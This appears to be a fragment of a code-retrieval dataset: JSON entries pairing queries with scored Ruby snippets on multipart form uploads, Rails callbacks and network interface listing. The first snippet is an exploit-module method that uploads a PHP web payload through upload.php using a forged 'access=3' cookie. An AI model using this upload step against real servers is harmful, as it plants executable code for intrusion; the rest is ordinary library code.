"text": "def upload\r\n @fname = \"#{rand_text_alphanumeric(rand(10)+6)}.php\"\r\n php = \"<?php #{payload.encoded} ?>\"\r\n\r\n data = Rex::MIME::Message.new\r\n data.add_part('upload', nil, nil, 'form-data; name=\"op1\"')\r\n data.add_part(php, 'application/octet-stream', nil, \"form-data; name=\\\"fileupload\\\"; filename=\\\"#{@fname}\\\"\")\r\n post_data = data.to_s.gsub(/^\\r\\n--_Part_/, '--_Part_')\r\n\r\n print_status(\"#{peer} - Uploading malicious file...\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'upload.php'),\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => 'access=3',\r\n 'data' => post_data,\r\n 'vars_get' => {\r\n 'op' => 'newin'\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, \"#{peer} - Request timed out while uploading\") unless res\r\n fail_with(Failure::NotFound, \"#{peer} - No upload.php found\") if res.code.to_i == 404\r\n fail_with(Failure::UnexpectedReply, \"#{peer} - Unable to write #{@fname}\") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\\!/)\r\n\r\n print_good(\"#{peer} - Payload uploaded successfully.\")\r\n register_files_for_cleanup(@fname)\r\n\r\n if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\\/?(.+)<br>/\r\n @upload_path = normalize_uri(target_uri.path, \"#{$1}\")\r\n print_good(\"#{peer} - Found upload path #{@upload_path}\")\r\n else\r\n @upload_path = normalize_uri(target_uri.path, 'in')\r\n print_warning(\"#{peer} - Could not find upload path - assuming '#{@upload_path}'\")\r\n end\r\n end",
"title": ""
},
{
"docid": "d7623d36c6f1ff01fd5e80aaba4ec2b3",
"score": "0.5946607",
"text": "def file_to_multipart(key, file_or_content, filename=nil)\n # puts \"multipart gets: key=#{key.inspect}, file_or_content as #{file_or_content.class.name}, filename=#{filename.inspect}\"\n\n case file_or_content\n when File, StringIO\n file = file_or_content\n filename ||= File.basename(file.path) if file.respond_to?(:path)\n content = file.read\n else\n filename ||= 'data'\n content = file_or_content\n end\n\n mime_types = MIME::Types.of(filename) rescue []\n mime_type = mime_types.empty? ? \"application/octet-stream\" : mime_types.first.content_type\n part = %Q{Content-Disposition: form-data; name=\"#{key}\"; filename=\"#{filename}\"\\r\\n}\n part += \"Content-Transfer-Encoding: binary\\r\\n\"\n part += \"Content-Length: #{content.length}\\r\\n\"\n part += \"Content-Type: #{mime_type}\\r\\n\\r\\n#{content}\\r\\n\"\n end",
"title": ""
},
{
"docid": "d3bcf253671aba293a5a1010c5206ff3",
"score": "0.5942873",
"text": "def build_form_data(hash)\n fd = FormData.create\n flatten(hash).each { |k,v| fd << [k,v] }\n fd\n end",
"title": ""
},
{
"docid": "295e69c3b3bf4d0fdf3a56be902fb59d",
"score": "0.59240985",
"text": "def upload_params\n {\n cookbook: params.require(:cookbook),\n tarball: params.require(:tarball)\n }\n end",
"title": ""
},
{
"docid": "80d830a988a5cbcd71d12a4a6d2e6016",
"score": "0.5919783",
"text": "def upload_params\n {\n cookbook: params.require(:cookbook),\n tarball: params.require(:tarball),\n }\n end",
"title": ""
},
{
"docid": "f19f81be6bd7c43ac61a0be62ef5557a",
"score": "0.59144694",
"text": "def to_form\n \"Content-Disposition: form-data; name=\\\"#{self.name}\\\"\\r\\n\" +\n \"\\r\\n\" +\n \"#{self.value}\\r\\n\"\n end",
"title": ""
},
{
"docid": "e85b63eb5efd8c74039ac6b75a3d7c7d",
"score": "0.5909606",
"text": "def upload_multipart_form(opts = {})\n data, _status_code, _headers = upload_multipart_form_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "619e544556dbb2fd7e83a6b45e9f178b",
"score": "0.59071213",
"text": "def get_form_data(params)\n params.reduce(\"\") { |m, v| m += \"#{v[0]}=#{CGI.escape(v[1].to_s)}&\" }.chop\n end",
"title": ""
},
{
"docid": "81dac67e52796dd7b92e8debc71f5cce",
"score": "0.58975196",
"text": "def web_file; $ie.form(:name, 'firmwareHttpForm').file_field(:id, 'Firmware File Upload'); end",
"title": ""
},
{
"docid": "9ed407cdf765ddbfa257e0a1bceac6da",
"score": "0.58898705",
"text": "def call(env)\n match_content_type(env) do |params|\n env.request.boundary ||= unique_boundary\n env.request_headers[CONTENT_TYPE] +=\n \"; boundary=#{env.request.boundary}\"\n env.body = create_multipart(env, params)\n end\n @app.call env\n end",
"title": ""
},
{
"docid": "54d0ff9eefe2a7fda38f02a08d9d3ec5",
"score": "0.588878",
"text": "def upload_many_body(arr, options = {})\n files_formdata = arr.to_h do |file|\n [HTTP::FormData::File.new(file).filename,\n form_data_for(file)]\n end\n HTTP::FormData::Multipart.new(\n Param::Upload::UploadParamsGenerator.call(options).merge(files_formdata)\n )\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "a43900ef2568dfaba102434c7d9c4527",
"score": "0.0",
"text": "def set_list_item\n @list_item = ListItem.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
5a96784e7c8e7b19f71c8be37e8e4e7a | List of interfaces that crowbar will not manage These interfaces are not part of any conduit for this node. | [
{
"docid": "a085a9b80ea2fd1d9675899b67db07c4",
"score": "0.77628213",
"text": "def unmanaged_interfaces\n if_list = cr_ohai_network.map { |x| x[0] }\n\n conduit_to_if_map.each do |conduit_name, conduit_def|\n next unless conduit_def.key?(\"if_list\")\n\n conduit_def[\"if_list\"].each do |interface|\n if_list.delete(interface)\n end\n end\n\n if_list\n end",
"title": ""
}
] | [
{
"docid": "e81e98a90b53242a8ec1eecae0f77874",
"score": "0.77445555",
"text": "def list_inactive_interfaces\n connection.list_defined_interfaces\n end",
"title": ""
},
{
"docid": "1f2ead1c42f689af1e1bfa1db516ad24",
"score": "0.72106075",
"text": "def GetAllNonDialUpInterfaces\n non_dial_up_interfaces = []\n Builtins.foreach(GetAllKnownInterfaces()) do |interface|\n if Ops.get(interface, \"type\") != \"dial_up\"\n non_dial_up_interfaces = Builtins.add(\n non_dial_up_interfaces,\n Ops.get(interface, \"id\", \"\")\n )\n end\n end\n\n deep_copy(non_dial_up_interfaces)\n end",
"title": ""
},
{
"docid": "609bca1ae769613f2eee3465665e25c9",
"score": "0.6932511",
